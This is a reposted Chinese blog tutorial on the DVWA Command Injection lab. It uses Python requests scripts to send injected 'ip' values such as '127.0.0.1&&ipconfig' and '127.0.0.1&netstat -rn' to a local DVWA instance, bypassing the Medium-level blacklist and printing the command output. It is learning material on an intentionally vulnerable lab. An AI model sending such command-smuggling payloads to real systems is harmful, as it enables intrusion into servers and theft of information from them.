ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

使用Python脚本学习DVWA-Command Injection(命令注入)

2021-04-23 21:58:41  阅读:163  来源: 互联网

标签:127.0 命令 Python DVWA 0.1 Command 执行 dir


使用Python脚本学习DVWA

Command Injection(命令注入)

本文全程参考[https://blog.csdn.net/zy15667076526/article/details/109705286?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_baidulandingword-0]向该博主致谢

Low

浏览器按F12打开开发人员调试利器,访问DVWA。
发现使用post方法访问http://localhost/DVWA/vulnerabilities/exec/
在这里插入图片描述

提交ip=127.0.0.1&Submit=Submit
在这里插入图片描述

Python 脚本

#-*- coding:utf-8 -*-
import requests

headers = {'Cookie':'security=low; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'}
command ='127.0.0.1'
data={'ip':command,'Submit':'Submit'}

def post_http(data):
    url = 'http://localhost/DVWA/vulnerabilities/exec/'
    req = requests.post(url,headers=headers,data=data)
    return(url,req.status_code,req.text)

print('++++++++开始命令注入++++++++')
url,status_code,result=post_http(data)
print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result)))
print(result)

执行结果

可以看到执行ping命令测试127.0.0.1(本机回环地址)的连通性。

 D:\sqlinjection>python Command_Injection_low.py
++++++++开始命令注入++++++++
192.168.1.1 && ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5397
............
*���� Ping 127.0.0.1 ���� 32 �ֽڵ�����:
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
127.0.0.1 �� Ping ͳ����Ϣ:
    ���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
    ��� = 0ms��� = 0ms��ƽ�� = 0ms*
............

注入其它命令

将python脚本的 command =‘127.0.0.1’ 改为 command =‘127.0.0.1&&ipconfig’

执行结果

可以看到执行ping 127.0.0.1 后,又执行ipconfig(查看网络配置)的命令,无线网卡上的ip为192.168.1.3

D:\sqlinjection>python Command_Injection_low.py
++++++++开始命令注入++++++++
127.0.0.1&&ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5387
............
���� Ping 127.0.0.1 ���� 32 �ֽڵ�����:
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128

127.0.0.1 �� Ping ͳ����Ϣ:
    ���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
    ��� = 0ms��� = 0ms��ƽ�� = 0ms

Windows IP ����


��̫�������� ��̫�� 4:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

��̫�������� ��̫��:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

���߾����������� ��������* 1:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

���߾����������� ��������* 2:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

���߾����������� WLAN:

   �����ض��� DNS ��׺ . . . . . . . :
   IPv6 ��ַ . . . . . . . . . . . . : 240e:390:470:41a0:c430:f233:4119:1b2e
   ��ʱ IPv6 ��ַ. . . . . . . . . . : 240e:390:470:41a0:251a:ccf8:5425:fef6
   �������� IPv6 ��ַ. . . . . . . . : fe80::c430:f233:4119:1b2e%17
   IPv4 ��ַ . . . . . . . . . . . . : 192.168.1.3
   ��������  . . . . . . . . . . . . : 255.255.255.0
   Ĭ������. . . . . . . . . . . . . : fe80::1%17
                                       192.168.1.1
............

不完全测试,可以执行dir netstat ipconfig calc notepad等命令,但net user执行后无相应输出,估计是DVWA安装在Windows 10上吧。

Medium

根据参考博文,Medium的php源码中对&&和;字符做过滤处理,所以&&不能成功,使用&替代

DOS中&用法
这里需要注意的是”&&”与” &”的区别:

Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

复现过程-Medium 相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&”
、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。

Python 脚本

将python脚本的 command =‘127.0.0.1’ 改为 command = ‘127.0.0.1&netstat -rn’

#-*- coding:utf-8 -*-
import requests

headers = {'Cookie':'security=medium; PHPSESSID=jdftj2p08d067d7o3560ekeov5; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'}
command = '127.0.0.1&netstat -rn'
data={'ip':command,'Submit':'Submit'}

def post_http(data):
    url = 'http://localhost/DVWA/vulnerabilities/exec/'
    req = requests.post(url,headers=headers,data=data)
    return(url,req.status_code,req.text)

print('++++++++开始命令注入++++++++')
url,status_code,result=post_http(data)
print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result)))
print(result)

执行结果

执行ping命令后,又执行netstat -rn命令获取服务器网络路由表。

D:\sqlinjection>python Command_Injection_medium.py
++++++++开始命令注入++++++++
127.0.0.1&netstat -rn|http://localhost/DVWA/vulnerabilities/exec/|200|6865
............
���� Ping 127.0.0.1 ���� 32 �ֽڵ�����:
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128

127.0.0.1 �� Ping ͳ����Ϣ:
    ���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
    ��� = 0ms��� = 0ms��ƽ�� = 0ms
===========================================================================
�ӿ��б�
 25...00 ff fb e0 7b ee ......Sangfor SSL VPN CS Support System VNIC
 16...b0 25 aa 2f 4e b8 ......Realtek PCIe GbE Family Controller
 12...38 00 25 c6 e9 2d ......Microsoft Wi-Fi Direct Virtual Adapter
 11...3a 00 25 c6 e9 2c ......Microsoft Wi-Fi Direct Virtual Adapter #2
 17...38 00 25 c6 e9 2c ......Intel(R) Wireless-AC 9462
  1...........................Software Loopback Interface 1
===========================================================================

IPv4 ·�ɱ�
===========================================================================
�·��:
����Ŀ��        ��������          ����       �ӿ�   Ծ����
          0.0.0.0          0.0.0.0      192.168.1.1      192.168.1.3     55
        127.0.0.0        255.0.0.0            ����·��         127.0.0.1    331
        127.0.0.1  255.255.255.255            ����·��         127.0.0.1    331
  127.255.255.255  255.255.255.255            ����·��         127.0.0.1    331
      192.168.1.0    255.255.255.0            ����·��       192.168.1.3    311
      192.168.1.3  255.255.255.255            ����·��       192.168.1.3    311
    192.168.1.255  255.255.255.255            ����·��       192.168.1.3    311
        224.0.0.0        240.0.0.0            ����·��         127.0.0.1    331
        224.0.0.0        240.0.0.0            ����·��       192.168.1.3    311
  255.255.255.255  255.255.255.255            ����·��         127.0.0.1    331
  255.255.255.255  255.255.255.255            ����·��       192.168.1.3    311
===========================================================================
����·��:
  ��

IPv6 ·�ɱ�
===========================================================================
�·��:
 �ӿ�Ծ��������Ŀ��                ����
 17    311 ::/0                     fe80::1
  1    331 ::1/128                  ����·��
 17    311 240e:390:470:41a0::/64   ����·��
 17    311 240e:390:470:41a0:251a:ccf8:5425:fef6/128
                                    ����·��
 17    311 240e:390:470:41a0:c430:f233:4119:1b2e/128
                                    ����·��
 17    311 fe80::/64                ����·��
 17    311 fe80::c430:f233:4119:1b2e/128
                                    ����·��
  1    331 ff00::/8                 ����·��
 17    311 ff00::/8                 ����·��
===========================================================================
����·��:
  ��
............

DOS中符号总结

此部分均引用至参考博文
l & 组合命令

语法:第一条命令 & 第二条命令 [& 第三条命令…]

&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是

允许的,而且用的非常广泛。因为批处理认行不认命令数目。

这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。

这里&两边的命令是顺序执行的,从前往后执行。

比如:

dir z:\ & dir y:\ & dir c:\

以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在

l Command 1 | Command 2

“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

l ; 分号

分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回

错误报告,但程序仍会执行。(有人说不会继续执行,其实测试一下就知道了)

比如:

dir c:;d:;e:;z:\

以上命令相当于

dir c:\

dir d:\

dir e:\

dir f:\

如果其中 z 盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。

例:dir c:;d:;e:\1.txt

以上命令相当于

dir c:\

dir d:\

dir e:\1.txt

其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。

为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。

标签:127.0,命令,Python,DVWA,0.1,Command,执行,dir
来源: https://blog.csdn.net/weixin_43838889/article/details/116070530

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有